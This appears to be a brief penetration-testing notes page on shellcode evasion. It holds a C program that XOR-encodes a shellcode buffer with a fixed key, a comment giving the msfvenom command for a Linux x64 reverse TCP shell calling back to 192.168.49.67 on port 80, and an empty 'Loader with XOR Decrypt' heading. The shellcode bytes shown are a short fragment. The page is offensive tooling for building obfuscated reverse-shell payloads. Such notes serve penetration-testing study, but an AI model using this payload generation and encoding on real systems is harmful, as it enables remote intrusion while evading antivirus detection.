Shellcode

XOR Encoder

simpleXORencoder.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// To compile:
// gcc simpleXORencoder.c -o simpleXORencoder

int main (int argc, char **argv)
{
// msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.67 LPORT=80 -f c
unsigned char buf[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48";
        int key = 250;
        int buf_len = (int) sizeof(buf);

        printf("XOR payload (key 0xfa):\n");

        for(int i=0; i<buf_len; i++)
        {
                printf("\\x%02X",buf[i]^key);
        }

        return 0;
}

Loader with XOR Decrypt

Last updated